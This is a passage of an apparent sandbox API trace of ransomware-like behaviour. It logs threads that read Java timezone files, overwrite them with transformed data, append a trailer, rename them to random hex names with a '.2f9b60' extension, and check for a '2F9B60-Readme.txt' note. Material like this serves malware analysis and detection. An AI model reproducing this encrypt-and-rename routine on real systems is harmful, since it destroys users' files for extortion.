(x86)\\Java\\jre7\\lib\\zi\\Africa\\e0008f.2f9b60" [0201.251] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\e0008f.2f9b60", NtPathName=0x2755f790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\e0008f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4318a160 [0237.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4318a160) returned 1 [0237.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43205970) returned 1 [0237.730] NtQueryInformationFile (in: FileHandle=0x2c40, IoStatusBlock=0x2755f7f8, FileInformation=0x2755f808, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2755f7f8, FileInformation=0x2755f808) returned 0x0 [0237.730] NtSetInformationFile (FileHandle=0x2c40, IoStatusBlock=0x2755f7f8, FileInformation=0x2755f808, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431070b0) returned 1 [0240.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43118860) returned 1 [0240.292] FlushFileBuffers (hFile=0x2c40) returned 1 [0240.639] CloseHandle (hObject=0x2c40) returned 1 [0242.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x43107770 [0242.710] wcscpy (in: _Dest=0x43107770, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0242.710] wcscat (in: _Dest=0x43107770, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0242.710] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43107770) returned 1 [0243.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf5ea80) returned 1 Thread: id = 2835 os_tid = 0x1a7c [0160.255] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Malabo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\malabo")) returned 0x20 [0165.818] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Malabo", dwFileAttributes=0x20) returned 1 [0167.065] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Malabo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\malabo"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2c4c [0167.997] GetFileSizeEx (in: hFile=0x2c4c, lpFileSize=0x44caf7c0 | out: lpFileSize=0x44caf7c0*=77) returned 1 [0167.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c182a0 [0167.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18300 [0167.997] NtQuerySystemTime (in: CurrentTime=0x44caf680 | out: CurrentTime=0x44caf680*=132462177731206000) returned 0x0 [0167.997] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x4d723b85 [0167.997] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x2efd6aa0 [0167.997] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x41a51c46 [0167.997] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0xdadc965 [0167.998] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x3c0307d8 [0167.998] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x6624ccbf [0167.998] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x3a73f6f8 [0167.998] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x6227dd31 [0167.998] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x260f3ef7 [0167.998] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x5dfa84ac [0167.998] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x38cdd401 [0167.998] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x54192346 [0167.998] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x517933d3 [0167.998] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x4cd0aa32 [0167.998] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x7ac4966f [0167.998] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x62e4cf33 [0167.998] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x34993f1e [0167.998] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x2f7df4e0 [0167.998] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x60ebb0b4 [0167.998] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x1d256bcd [0167.998] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x1d659bd6 [0167.998] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x708de77c [0167.998] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x7398fe08 [0167.998] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x5a5d5f02 [0167.998] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x7de95f5 [0167.998] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x19e1537b [0167.998] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x42cec230 [0167.998] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x75b5ce23 [0167.998] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x1fa00e09 [0167.998] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x4d398fa0 [0167.998] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x5b502631 [0167.998] RtlRandomEx (in: Seed=0x44caf670 | out: Seed=0x44caf670) returned 0x3654511c [0168.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18120 [0168.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b230 [0168.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18150 [0168.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b230) returned 1 [0168.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18300) returned 1 [0168.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0168.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c560 [0168.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b230 [0168.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0168.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0168.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428a52c0 [0168.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428a8ed0 [0168.009] ReadFile (in: hFile=0x2c4c, lpBuffer=0x428a52c0, nNumberOfBytesToRead=0x4d, lpNumberOfBytesRead=0x44caf670, lpOverlapped=0x0 | out: lpBuffer=0x428a52c0*, lpNumberOfBytesRead=0x44caf670*=0x4d, lpOverlapped=0x0) returned 1 [0168.010] SetFilePointerEx (in: hFile=0x2c4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.010] WriteFile (in: hFile=0x2c4c, lpBuffer=0x428a8ed0*, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0x44caf674, lpOverlapped=0x0 | out: lpBuffer=0x428a8ed0*, lpNumberOfBytesWritten=0x44caf674*=0x4d, lpOverlapped=0x0) returned 1 [0180.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8ea0 [0180.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8de0 [0180.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8de0) returned 1 [0180.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428a8ed0) returned 1 [0180.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428a52c0) returned 1 [0180.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b230) returned 1 [0180.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c560) returned 1 [0180.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cdd8de0 [0180.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c560 [0180.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b230 [0180.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8f60 [0180.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8f60) returned 1 [0180.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cdd8f60 [0180.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8f30 [0180.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8e70 [0180.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8e70) returned 1 [0180.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b230) returned 1 [0180.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c560) returned 1 [0180.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfe) returned 0x42055a40 [0180.635] SetFilePointerEx (in: hFile=0x2c4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.636] WriteFile (in: hFile=0x2c4c, lpBuffer=0x42055a40*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x44caf790, lpOverlapped=0x0 | out: lpBuffer=0x42055a40*, lpNumberOfBytesWritten=0x44caf790*=0xfe, lpOverlapped=0x0) returned 1 [0184.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd974e0 [0184.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0184.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18330 [0184.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18330) returned 1 [0184.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b82d800 [0184.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18330 [0184.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c182d0 [0184.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c182d0) returned 1 [0184.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0184.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0184.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x19) returned 0x42c182d0 [0184.430] sprintf (in: _Dest=0x42c182d0, _Format="%c%c" | out: _Dest="b4") returned 2 [0184.430] sprintf (in: _Dest=0x42c182d2, _Format="%c%c" | out: _Dest="f3") returned 2 [0184.430] sprintf (in: _Dest=0x42c182d4, _Format="%c%c" | out: _Dest="1a") returned 2 [0184.430] sprintf (in: _Dest=0x42c182d6, _Format="%c%c" | out: _Dest="58") returned 2 [0184.430] sprintf (in: _Dest=0x42c182d8, _Format="%c%c" | out: _Dest="55") returned 2 [0184.431] sprintf (in: _Dest=0x42c182da, _Format="%c%c" | out: _Dest="df") returned 2 [0184.431] sprintf (in: _Dest=0x42c182dc, _Format="%c%c" | out: _Dest="71") returned 2 [0184.431] sprintf (in: _Dest=0x42c182de, _Format="%c%c" | out: _Dest="e4") returned 2 [0184.431] sprintf (in: _Dest=0x42c182e0, _Format="%c%c" | out: _Dest="07") returned 2 [0184.431] sprintf (in: _Dest=0x42c182e2, _Format="%c%c" | out: _Dest="8c") returned 2 [0184.431] sprintf (in: _Dest=0x42c182e4, _Format="%c%c" | out: _Dest="13") returned 2 [0184.431] sprintf (in: _Dest=0x42c182e6, _Format="%c%c" | out: _Dest="fc") returned 2 [0184.431] RtlInitAnsiString (in: DestinationString=0x44caf808, SourceString="b4f31a5855df71e4078c13fc" | out: DestinationString="b4f31a5855df71e4078c13fc") [0184.431] RtlAnsiStringToUnicodeString (in: DestinationString=0x44caf7d8, SourceString="b4f31a5855df71e4078c13fc", AllocateDestinationString=1 | out: DestinationString="b4f31a5855df71e4078c13fc") returned 0x0 [0192.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9ec70 [0192.194] RtlFreeAnsiString (AnsiString="b") [0192.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c182d0) returned 1 [0192.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d800) returned 1 [0192.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18330) returned 1 [0192.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42055a40) returned 1 [0192.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8f60) returned 1 [0192.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8f30) returned 1 [0192.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8de0) returned 1 [0192.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8ea0) returned 1 [0192.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c182a0) returned 1 [0192.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18120) returned 1 [0192.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18150) returned 1 [0192.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x431d87b0 [0192.200] wcscat (in: _Dest=0x431d87b0, _Source="b4f31a" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\b4f31a") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\b4f31a" [0192.200] wcscat (in: _Dest=0x431d87b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\b4f31a.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\b4f31a.2f9b60" [0192.200] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\b4f31a.2f9b60", NtPathName=0x44caf7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\b4f31a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0192.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x431ca900 Thread: id = 2836 os_tid = 0x17d8 [0160.256] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Maputo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\maputo")) returned 0x20 [0165.817] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Maputo", dwFileAttributes=0x20) returned 1 [0167.065] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Maputo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\maputo"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb28 [0167.969] GetFileSizeEx (in: hFile=0xb28, lpFileSize=0x44d5f7e0 | out: lpFileSize=0x44d5f7e0*=65) returned 1 [0167.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18930 [0167.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18390 [0167.970] NtQuerySystemTime (in: CurrentTime=0x44d5f6a0 | out: CurrentTime=0x44d5f6a0*=132462177730894000) returned 0x0 [0167.970] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x7d9feb4 [0167.970] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x12331084 [0167.970] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x71e40bc8 [0167.970] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x2f284360 [0167.970] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x1c62d94f [0167.970] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x110828e1 [0167.970] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x26218a7d [0167.970] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x71f12f6 [0167.970] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x1042a888 [0167.970] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x1960cb3a [0167.970] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x40b5d788 [0167.970] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x280c3656 [0167.970] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x1297ade8 [0167.970] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x1ac63cad [0167.970] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x2ef549f3 [0167.970] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x1ca33f1e [0167.970] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x4d76585a [0167.971] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0xbe96e20 [0167.971] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x8585ffb [0167.971] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x376daf8 [0167.971] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x5a446510 [0167.971] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x2ea20103 [0167.971] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x18fb5715 [0167.971] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x28a4ef25 [0167.971] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x5af4fc9d [0167.971] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x10cb832 [0167.971] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x1605b8fc [0167.971] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x7877835 [0167.971] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x5e2d6be4 [0167.971] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x7336d82a [0167.971] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x652f9cf3 [0167.971] RtlRandomEx (in: Seed=0x44d5f690 | out: Seed=0x44d5f690) returned 0x2a6ac560 [0167.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c183f0 [0167.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b330 [0167.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c183c0 [0167.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b330) returned 1 [0167.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18390) returned 1 [0167.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c4c0 [0167.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b330 [0167.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42978ed0 [0167.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4297cae0 [0167.980] ReadFile (in: hFile=0xb28, lpBuffer=0x42978ed0, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x44d5f690, lpOverlapped=0x0 | out: lpBuffer=0x42978ed0*, lpNumberOfBytesRead=0x44d5f690*=0x41, lpOverlapped=0x0) returned 1 [0167.981] SetFilePointerEx (in: hFile=0xb28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.981] WriteFile (in: hFile=0xb28, lpBuffer=0x4297cae0*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x44d5f694, lpOverlapped=0x0 | out: lpBuffer=0x4297cae0*, lpNumberOfBytesWritten=0x44d5f694*=0x41, lpOverlapped=0x0) returned 1 [0180.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd91d0 [0180.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9230 [0180.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9230) returned 1 [0180.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4297cae0) returned 1 [0180.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42978ed0) returned 1 [0180.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b330) returned 1 [0180.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c4c0) returned 1 [0180.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cdd9230 [0180.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c4c0 [0180.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b330 [0180.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9200 [0180.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9200) returned 1 [0180.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cdd9200 [0180.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9140 [0180.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd91a0 [0180.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd91a0) returned 1 [0180.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b330) returned 1 [0180.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c4c0) returned 1 [0180.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfe) returned 0x423a8a40 [0180.565] SetFilePointerEx (in: hFile=0xb28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.565] WriteFile (in: hFile=0xb28, lpBuffer=0x423a8a40*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x44d5f7b0, lpOverlapped=0x0 | out: lpBuffer=0x423a8a40*, lpNumberOfBytesWritten=0x44d5f7b0*=0xfe, lpOverlapped=0x0) returned 1 [0184.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd974e0 [0184.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0184.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c188a0 [0184.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c188a0) returned 1 [0184.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b82d7e0 [0184.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c188a0 [0184.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18960 [0184.408] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18960) returned 1 [0184.408] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0184.408] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0184.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x19) returned 0x42c18960 [0184.411] sprintf (in: _Dest=0x42c18960, _Format="%c%c" | out: _Dest="31") returned 2 [0184.411] sprintf (in: _Dest=0x42c18962, _Format="%c%c" | out: _Dest="95") returned 2 [0184.411] sprintf (in: _Dest=0x42c18964, _Format="%c%c" | out: _Dest="06") returned 2 [0184.411] sprintf (in: _Dest=0x42c18966, _Format="%c%c" | out: _Dest="6d") returned 2 [0184.411] sprintf (in: _Dest=0x42c18968, _Format="%c%c" | out: _Dest="46") returned 2 [0184.411] sprintf (in: _Dest=0x42c1896a, _Format="%c%c" | out: _Dest="2c") returned 2 [0184.411] sprintf (in: _Dest=0x42c1896c, _Format="%c%c" | out: _Dest="a2") returned 2 [0184.411] sprintf (in: _Dest=0x42c1896e, _Format="%c%c" | out: _Dest="92") returned 2 [0184.411] sprintf (in: _Dest=0x42c18970, _Format="%c%c" | out: _Dest="33") returned 2 [0184.411] sprintf (in: _Dest=0x42c18972, _Format="%c%c" | out: _Dest="49") returned 2 